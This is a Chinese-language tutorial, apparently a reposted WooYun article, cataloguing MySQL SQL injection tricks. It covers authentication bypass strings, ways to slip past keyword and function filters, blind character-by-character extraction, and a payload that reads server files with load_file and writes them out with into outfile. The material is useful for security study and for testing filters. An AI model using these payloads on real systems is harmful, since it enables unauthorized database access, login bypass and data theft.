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            原文地址:http://drops.wooyun.org/tips/7299

            原文地址:http://websec.files.wordpress.com/2010/11/sqli2.pdf

            0x00、介紹


            也可以參考瞌腄龍的mysql注入科普:http://drops.wooyun.org/tips/123

            很多東西都是一樣的,但是有一些小技巧確實很使用。

            以下所有技巧都只在mysql適用,因為它太靈活了

            0x01 MYSQl靈活的語法


            1 MySQL語法以及認證繞過

            注釋符:

            #, 
            -- X(X為任意字符)
            /*(MySQL-5.1)
            ;%00
            `
            'or 1=1;%00
            'or 1=1 union select 1,2`'
            'or 1=1 #
            '/*!50000or*/ 1=1 -- -      //版本號為5.1.38時只要小于50138
            '/*!or*/ 1=1 -- -
            

            前綴:

            任意混合 + - ~ !

            'or --+2=- -!!!'2
            

            測試后發現and/or后面可以跟上偶數個!、~可以替代空格,也可以混合使用(混合后規律又不同),and/or前的空格可以省略

            'or- -!!!1=1;
            

            運算符:

            ^, =, !=, %, /, *, &, &&, |, ||, <, >, <<, >>, >=, <=, <>, <=>, XOR,DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN,……
            
            'or 1 rlike '1
            

            空格替換:%20, %09, %0a, %0b, %0c, %0d, %a0

            也可以插入括號,前綴,操作符,引號

            'or+(1)sounds/**/like"1"--%a0-
            

            字符串格式

                ' or "a"='a'
                ' or 'a'=n'a'               //unicode
                ' or 'a'=b'1100001'         //binary
                ' or 'a'=_binary'1100001'   //5.5.41下測試無效
                ' or 'a'=x'61'              //16進制
            

            2、MySQL常用的一些小工具

            常量:true, false, null, \N, current_timestamp....

            變量:@myvar:=1

            系統變量:@@version, @@datadir....

            常用函數:version(), pi(), pow(), char(), substring()....

            3、MySQL類型轉換

            ' or 1=true #true=1, false=0
            ' or 1 #true
            ' or version()=5.5 #5.5.41-log
            
            ' or round(pi(),1)+true+true+0.4=version() #3.1+1+1+0.4
            
            select * from users where 'a'='b'='c'
            select * from users where ('a'='b')='c'
            select * from users where (false)='c'
            select * from users where (0)='c'
            select * from users where (0)=0
            select * from users where true
            select * from users
            

            以上的語句都是同樣的效果

            4、認證繞過

            繞過語句:'='

            select data from users where name="="
            select data from users where flase=" 
            select data from users where 0=0
            

            繞過語句:'-'

            select data from users where name=''-''
            select data from users where name=0-0
            select data from users where 0=0
            

            0x02 關鍵字過濾


            空格

            過濾代碼/\s/

            %20, %09, %0a, %0b, %0c, %0d, %a0
            

            關鍵字OR,AND

            過濾代碼/\sor\s/i,/\sand\s/i

            '||1='1     #or
            '='
            '&&1='1     #and
            

            關鍵字union select

            過濾代碼/union\s+select/i

            'and(true)like(false)union(select(pass)from(users))#
            'union [all|distinct] select pass from users#
            'union%a0select pass from users#
            'union/*!select*/pass from users#
            /vuln.php?id=1 union/*&sort=*/select pass from users-- -
            

            如果單獨過濾union,使用盲注來獲取數據

            'and(select pass from users limit 1)='secret
            

            通過子查詢獲取單值來進行比較

            關鍵字limit

            過濾代碼/limit/i

            'and(select pass from users where id=1)='a
            'and(select pass from users group by id having id=1)='a
            'and length((select pass from users having substr(pass,1,1)='a'))
            

            關鍵字having

            過濾代碼/having/i

            'and(select substr(group_concat(pass),1,1)from users)='a
            

            關鍵字select ... from

            過濾代碼/SELECT\s+[A-Za-z.]+\s+FROM/i/i

            select [all|distinct] pass from users
            select`table_name`from`information_schema` . `tables`
            select pass as alias from users
            select pass aliasalias from users
            select pass`alias alias`from users
            select+pass%a0from(users)
            

            關鍵字select

            過濾代碼/select/i

            1 有文件讀取權限

            ' and substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+
            length('DocumentRoot'),10)='a'='' into outfile '/var/www/dump.txt
            

            2 獲取列名

            ' and 列名 is not null#
            ' procedure analyse()#
            

            使用substr來做過濾條件

            'and substr(pass,1,1)='a
            

            關鍵字select,and,&

            '0#

            select data from users where name = ''-0 # int typecast
            select data from users where name = 0 # int typecast
            select data from users where 0 = 0 # true
            

            '-1#

            select data from users where 0 = -1 # false
            

            使用條件判斷來進行true、false的選擇

                ifnull(nullif()), case when, if()
                '-if(name='Admin',1,0)#
            

            使用嵌套條件'-if(

            if(name='Admin',1,0), // condition
            if(substr(pass,1,1)='a',1,0) // if true
            ,0)# // if false    
            

            0x03 函數過濾


            構建字符串相關函數

            unhex char hex ascii ord substr substring mid pad left right insert
            ' and substr(data,1,1) = 'a'#
            ' and substr(data,1,1) = 0x61# 0x6162
            ' and substr(data,1,1) = unhex(61)# unhex(6162)
            ' and substr(data,1,1) = char(97)# char(97,98)
            ' and hex(substr(data,1,1)) = 61#
            ' and ascii(substr(data,1,1)) = 97#
            ' and ord(substr(data,1,1)) = 97#
            

            使用conv來進行進制的轉換

            ' and substr(data,1,1) = lower(conv(10,10,36))# 'a'
            ' and substr(data,1,1) = lower(conv(11,10,36))# 'b'
            ' and substr(data,1,1) = lower(conv(36,10,36))# 'z'
            

            使用函數來猜解數據

            ' and substr(data,1,1) = 'a'#
            ' and substring(data,1,1) = 'a'#
            ' and mid(data,1,1) = 'a'#
            

            不適用逗號來獲取

            ' and substr(data from 1 for 1) = 'a'#
            

            同樣也可以使用一下比較少見的函數來嘗試繞過

            lpad(data,1,space(1)) // lpad('hi',4,'?') = '??hi'
            rpad(data,1,space(1)) // rpad('hi',4,'?') = 'hi??'
            left(data,1)
            reverse(right(reverse(data),1))
            insert(insert(version(),1,0,space(0)),2,222,space(0))
            

            有些函數有類似搜索匹配的功能

            '-if(locate('f',data),1,0)#
            '-if(locate('fo',data),1,0)#
            '-if(locate('foo',data),1,0)#
            instr(), position()
            

            使用函數進行字符串的切割

            length(trim(leading 'a' FROM data)) # length will be shorter
            length(replace(data, 'a', '')) # length will be shorter
            

            2種方式都是相同效果

            0x04 注入時主要使用的一些東西


            1個控制流程操作(select, case, if(), ...)
            1個比較操作(=, like, mod(), ...)
            1個字符串的猜解(mid(), left(), rpad(), …)
            1個字符串生成(0x61, hex(), conv())
            

            使用conv([10-36],10,36)可以實現所有字符的表示

            false !pi()           0     ceil(pi()*pi())           10 A      ceil((pi()+pi())*pi()) 20       K
            true !!pi()           1     ceil(pi()*pi())+true      11 B      ceil(ceil(pi())*version()) 21   L
            true+true             2     ceil(pi()+pi()+version()) 12 C      ceil(pi()*ceil(pi()+pi())) 22   M
            floor(pi())           3     floor(pi()*pi()+pi())     13 D      ceil((pi()+ceil(pi()))*pi()) 23 N
            ceil(pi())            4     ceil(pi()*pi()+pi())      14 E      ceil(pi())*ceil(version()) 24   O
            floor(version())      5     ceil(pi()*pi()+version()) 15 F      floor(pi()*(version()+pi())) 25 P
            ceil(version())       6     floor(pi()*version())     16 G      floor(version()*version()) 26   Q
            ceil(pi()+pi())       7     ceil(pi()*version())      17 H      ceil(version()*version()) 27    R
            floor(version()+pi()) 8     ceil(pi()*version())+true 18 I      ceil(pi()*pi()*pi()-pi()) 28    S
            floor(pi()*pi())      9     floor((pi()+pi())*pi())   19 J      floor(pi()*pi()*floor(pi())) 29 T
            

            更多詳細的東西可以參考原文去了解,還有一些其他的注入資料可以參考

            http://www.ptsecurity.com/download/PT-devteev-CC-WAF-ENG.pdf
            
            https://media.blackhat.com/bh-us-12/Briefings/Ristic/BH_US_12_Ristic_Protocol_Level_Slides.pdf
            
            http://www.blackhatlibrary.net/SQL_injection
            
            http://websec.ca/kb/sql_injection
            

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